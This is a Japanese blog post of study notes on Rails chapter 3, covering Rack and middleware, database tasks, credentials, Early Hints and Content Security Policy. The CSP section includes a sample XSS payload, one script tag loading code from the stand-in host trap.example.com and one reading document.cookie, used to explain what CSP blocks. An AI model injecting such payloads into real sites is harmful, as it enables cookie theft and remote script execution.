This page looks best with JavaScript enabled
⚠️

『パーフェクトRuby on Rails』3章

 ·   ·  ☕ 9 分で読めます
✏️

3章

RackとRailsの関係

UnicornやPumaのようなアプリケーションサーバとRailsのようなフレームワーク間のインターフェースを共通化した仕様・実装となるライブラリ。
Rackによって、この二者の間のスムーズなやり取りを行う。

Rackインターフェースがあるから、多少Webサーバーとフレームワークが違ってもいい感じにしてくれる。

Rackに必要なインターフェース

以下の規約に則る必要がある。

  • callというメソッドを定義する。
  • callメソッドは慣例的にenvあるいはenvironmentと命名する引数を1つ受け取る。
  • callメソッドは次の値を戻り値として返す。
    • HTTPのステータスコードを表す数値オブジェクト
    • HTTPヘッダーを表すハッシュオブジェクト
    • レスポンスボディとなる文字列を含んだ配列風オブジェクト
1
2
3
def call(env)
  [status, headers, body]
end

Rackを使ってアプリケーションを起動させる

Rackは$ gem install rackでインストールする。$ rackup -vでバージョン確認。
runメソッドが使えるようになる。

具体的には例えばこんな感じ。

1
2
3
4
5
6
7
8
class App
  def call(env)
    status = 200
    headers = { "Content-Type" => "text/plain" }
    body = ["sample"]
    [status, headers, body]
  end
end

↓Rackが利用するエントリーポイント用ファイル
(一般的にconfig.ruというファイル名)

require "rack"
require_relative "app"

run App.new

require_relative
現在のファイルからの相対パスで require します。
require と require_relative って何が違うの? - Qiita
module function Kernel.#require_relative (Ruby 2.3.0)

1
2
3
4
5
6
7
8
9
$ rackup

Puma starting in single mode...
* Version 4.3.5 (ruby 2.6.6-p146), codename: Mysterious Traveller
* Min threads: 0, max threads: 16
* Environment: development
* Listening on tcp://127.0.0.1:9292
* Listening on tcp://[::1]:9292
Use Ctrl-C to stop

http://127.0.0.1:9292/にアクセスするとこんな感じ。

tcp://127.0.0.1:9292

1
2
3
Use Ctrl-C to stop
127.0.0.1 - - [02/Sep/2020:19:51:29 +0900] "GET / HTTP/1.1" 200 6 0.0057
127.0.0.1 - - [02/Sep/2020:19:51:29 +0900] "GET /favicon.ico HTTP/1.1" 200 6 0.0010

rackupコマンド→config.ruを読み込み→./app.rbを呼び出してApp.newをrunする(callメソッドを呼び出す)

Rails の初期化プロセス - Railsガイド
Rails と Rack - Railsガイド

Rackミドルウェア

Rackミドルウェアを使うと、HTTPリクエスト / HTTPレスポンスの間で処理を追加することができる。

例えば……Rack::Runtimeを使う場合

1
2
3
4
5
  require "rack"
  require_relative "app"

  use Rack::Runtime
  run App.new

tcp://127.0.0.1:9292

こんな感じでuseを付けるだけで、レスポンスヘッダーに"X-Runtime"が追加される。

他にもミドルウェアはいろいろある。詳しくは↓
https://github.com/rack/rack-contrib

Rackミドルウェアを作成

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
class SimpleMiddleware
  def initialize(app)
    @app = app
    # Middlewareとして使われるクラスの初期引数には何が渡されるのか?
    puts "*" * 30
    puts "* #{self.class} initialize(app = #{app.class})"
    puts "*" * 30
  end

  def call(env)
    status, headers, body = @app.call(env)
    puts "*" * 30
    puts "* #{self.class} call(body = #{body})"
    puts "*" * 30
    return [status, headers, body]
  end
end
require "rack"
require_relative "app"
require_relative "simple_middleware"

use Rack::Runtime
use SimpleMiddleware
run App.new
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
$ rackup
******************************
* SimpleMiddleware initialize(app = App)
******************************
Puma starting in single mode...
* Version 4.3.5 (ruby 2.6.6-p146), codename: Mysterious Traveller
* Min threads: 0, max threads: 16
* Environment: development
* Listening on tcp://127.0.0.1:9292
* Listening on tcp://[::1]:9292
Use Ctrl-C to stop
******************************
* SimpleMiddleware call(body = ["sample"])
******************************
127.0.0.1 - - [02/Sep/2020:20:26:46 +0900] "GET / HTTP/1.1" 200 6 0.0055
******************************
* SimpleMiddleware call(body = ["sample"])
******************************
127.0.0.1 - - [02/Sep/2020:20:26:46 +0900] "GET /favicon.ico HTTP/1.1" 200 6 0.0007
  • ミドルウェアは最初にRackを起動した時点でinitializeされる
    • その引数にはconfig.ruで定義されたApp.newが渡される(セットされる)
  • リクエストを送るたびに各Middleware#callが実行され、レスポンスを返している
  • 実行順はリクエストとレスポンスの入れ子型のイメージ
    • ミドルウェアにenvを渡しながらRackに到達し、#callの戻り値をもらいながらレスポンスを返す

RailsでRackを使う

1
2
3
4
5
# This file is used by Rack-based servers to start the application.

require_relative 'config/environment'

run Rails.application
1
2
3
4
5
# Load the Rails application.
require_relative 'application'

# Initialize the Rails application.
Rails.application.initialize!

こんな感じで定義している。
config.ruがあるので、rakeupコマンドで直接起動させることもできる。

1
2
3
4
5
6
7
8
$ bundle exec rackup
Puma starting in single mode...
* Version 4.3.5 (ruby 2.6.6-p146), codename: Mysterious Traveller
* Min threads: 5, max threads: 5
* Environment: development
* Listening on tcp://127.0.0.1:9292
* Listening on tcp://[::1]:9292
Use Ctrl-C to stop

ミドルウェアの確認。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ rails middleware
use Webpacker::DevServerProxy
use ActionDispatch::HostAuthorization
use Rack::Sendfile
use ActionDispatch::Static
use ActionDispatch::Executor
use ActiveSupport::Cache::Strategy::LocalCache::Middleware
use Rack::Runtime
use Rack::MethodOverride
use ActionDispatch::RequestId
use ActionDispatch::RemoteIp
use Sprockets::Rails::QuietAssets
use Rails::Rack::Logger
use ActionDispatch::ShowExceptions
use WebConsole::Middleware
use ActionDispatch::DebugExceptions
use ActionDispatch::ActionableExceptions
use ActionDispatch::Reloader
use ActionDispatch::Callbacks
use ActiveRecord::Migration::CheckPending
use ActionDispatch::Cookies
use ActionDispatch::Session::CookieStore
use ActionDispatch::Flash
use ActionDispatch::ContentSecurityPolicy::Middleware
use Rack::Head
use Rack::ConditionalGet
use Rack::ETag
use Rack::TempfileReaper
run HelloRails::Application.routes

自作でRackミドルウェアを作成する場合、わかりやすくlib/middlewaresに置く。
development環境でのみ起動させたい場合はconfig/environments/development.rbなどの環境別のファイルに追加する。
どの環境でも使用する場合は、config/application.rbに追加する。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
require_relative 'boot'

require 'rails/all'

require 'midlewares/hoge_middleware'  # 追加

Bundler.require(*Rails.groups)

module HelloRails
  class Application < Rails::Application
    config.load_defaults 6.0

    config.middleware.use HogeMiddleware  # 追加
  end
end

この場合、HogeMiddlewareは既存のミドルウェアの上(内側)に積まれる。
読み込みの順番を変えたい場合、以下のように設定する。

  • config.middleware.use
  • config.middleware.insert_after
  • config.middleware.insert_before
  • config.middleware.delete
1
config.middleware.insert_after Rack::ETag, HogeMiddleware  # 追加

こうすると、Rack::ETagの後にHogeMiddlewareが呼ばれる。

データベース

rails db:rollback STEP=1のようにSTEPを付けるとステップ分のマイグレーションファイルをロールバックする。

rails db:migrate:status
マイグレーションファイルの状態を確認する。

rails db:seed:replant
レコードを削除してからseed.rbを読み込む。

rails db:prepare
DBが存在する場合はマイグレーションを、存在しない場合はDBのセットアップを行う。楽。(= bin/setup

複数データベース

Rails6から対応した。
今のところ必要性がそこまでピンとこないので省略。

秘密情報

以前は環境変数経由で定義されることが多かった。

Rails 4.1

config/secret.ymlが生成されるようになったので、環境ごとに値を一括管理できるようになった。
が、秘密情報は環境変数というのは変わらず。

1
2
3
4
5
6
development:
  secret_key_base: b8f81b...0f8dee
test:
  secret_key_base: 6d2a31...3abc7e
production:
  secret_key_base: <%= ENV["SECRET_KEY_BASE"]>

Rails.application.secrets.secret_key_baseで取得可能。

Rails 5.1, 5.2

省略。

Rails 6.0

rails credentials:edit --environment stagingコマンドでconfig/credentials/staging.keyconfig/credentials/staging.yml.encが生成される(ついでにstaging.keyは.gitignoreってくれる)。

ただし、credentialsの読み込みは、credentials/{RAILS_ENV}.yml.enc→なかったらcredentials/credentials.yml.encなので、どちらかに書いてあればOKというわけではない。重複内容も別ファイルに書く必要がある。

同じcredentialsファイルを別の環境でも読みたいときは、以下のように設定する。

1
2
3
4
Rails.application.configure do
  config.credentials.content_path = Rails.root.join('config', 'credentials', 'development.yml.enc')
  config.credentials.key_path = Rails.root.join('config', 'credentials', 'development.key')
end

Early Hints

ブラウザでアクセスした際、

  1. ブラウザがリクエスト送信
  2. サーバーからHTMLのレスポンスを受け取る
  3. HTMLのパースを開始
  4. アセットをリクエスト
  5. サーバーからアセットのレスポンスを受け取る
  6. アセットのパースを開始

という順番になるので、1, 2間と4, 5間で待ち時間が発生する。「始めからわかりきったアセットは、もっと早めにもらいたくね?」から生まれた。

HTTP/1.1 103 Early Hints
Link: </assets/application.debug-....css>; rel=preload; as=style

HTTP/1.1 103 Early Hints
Link: </pack/js/application-....js>; rel=preload; as=script

HTTP/1.1 200 OK
...(HTMLのレスポンス)

こんな感じで事前にアセットのリクエスト先を連絡してもらえるので、2.の前にアセット用のリクエストを送信することができる嬉しい!
ただし、現時点では203に対応したメジャーなブラウザがない&未対応ブラウザに103を含む複数レスポンスを送信するとセキュリティ上の問題があるので、リバースプロキシを介するのが現実的。

【ポイント】 リバースプロキシの基本的な仕組み

まあ、なんだかんだ現実的にこれが有用かどうかはうーんって感じ。HTTP2の機能だし。
使う前には、本当にそれがいいのか?を調べること。

Content Security Policy(CSP)

XSSの脆弱性による影響範囲を少なくするための仕組み。

@post.body.html_safeのように、ユーザーが入力したタグをそのまま出力したとする。以下のようなJSが送られるとヤバイ。

1
2
<script src="http://trap.example.com/dangerjs"></script>
<script>alert(document.cookie)</script>

CSPを使うとこのようなXSSを無効にできる。

Content-Security-Policy: script-src 'self' www.google-analytics.com

このようにホワイトリスト形式で、許可したいドメインを指定する。
'self'はレスポンスを送ったサーバーと同一オリジン(ドメイン・ポート番号・URLが同一)であるという意味。

CSPをRailsで使うには

config/initializers/content_security_policy.rbのコメントアウトを外すことで設定できる。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# Be sure to restart your server when you modify this file.

# Define an application-wide content security policy
# For further information see the following documentation
# https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy

# Rails.application.config.content_security_policy do |policy|
#   policy.default_src :self, :https
#   policy.font_src    :self, :https, :data
#   policy.img_src     :self, :https, :data
#   policy.object_src  :none
#   policy.script_src  :self, :https
#   policy.style_src   :self, :https
#   # If you are using webpack-dev-server then specify webpack-dev-server host
#   policy.connect_src :self, :https, "http://localhost:3035", "ws://localhost:3035" if Rails.env.development?

#   # Specify URI for violation reports
#   # policy.report_uri "/csp-violation-report-endpoint"
# end

# If you are using UJS then enable automatic nonce generation
# Rails.application.config.content_security_policy_nonce_generator = -> request { SecureRandom.base64(16) }

# Set the nonce only to specific directives
# Rails.application.config.content_security_policy_nonce_directives = %w(script-src)

# Report CSP violations to a specified URI
# For further information see the following documentation:
# https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy-Report-Only
# Rails.application.config.content_security_policy_report_only = true

コントローラごとに設定することもできる。

1
2
3
4
5
class PostController < ApplicationController
  content_security_policy do |p|
    p.script_src :self, :https, "https://example.com"
  end
end

Content-Security-Policy-Report-Onlyを使う

ただし、いきなりSCPを有効にすると、本来指定しないといけないURLを指定し忘れることもある。
なので、まずはContent-Security-Policy-Report-Onlyヘッダを指定するとよい。これを適用すると、違反(指定漏れ)していた場合report-uriディレクティブで指定したURLに送信してくれる。
設定は以下。

1
2
3
4
5
Rails.application.config.content_security_policy do |policy|
  policy.default_src :self, :https
  policy.report_uri "/csp-violation-report-endpoint"
end
Rails.application.config.content_security_policy_report_only = true

nonceを使う

より細かい指定ができる。

Content-Security-Policy: script-src 'nonce-2726c7f26c'

これを指定すると、以下のようなnonce属性があるscriptのみ実行できるようになる。

1
2
3
<script nonce="2726c7f26c">
  alert("実行できる")
</script>

Railsで指定する場合はこんな感じ。

1
2
3
4
5
# scriptとstyleにnonceを利用
Rails.application.config.content_security_policy_nonce_generator = -> request { SecureRandom.base64(16) }

# scriptのみnonceを利用
Rails.application.config.content_security_policy_nonce_directives = %w(script-src)

ビューファイルでは以下のようにすると、対応したnonceがタグに追加される。

<%= javascript_tag nonce: true do %>
  alert("Hello, World!")
<% end %>
<%= javascript_pack_tag "script", nonce: true %>

rails_ujsなどを利用している場合、csp_meta_tagメソッドでnonceをHTMLに埋め込む必要がある。

1
2
3
<head>
  <%= csp_meta_tag %>
</head>
Share on

END
END
@aiandrox

 
目次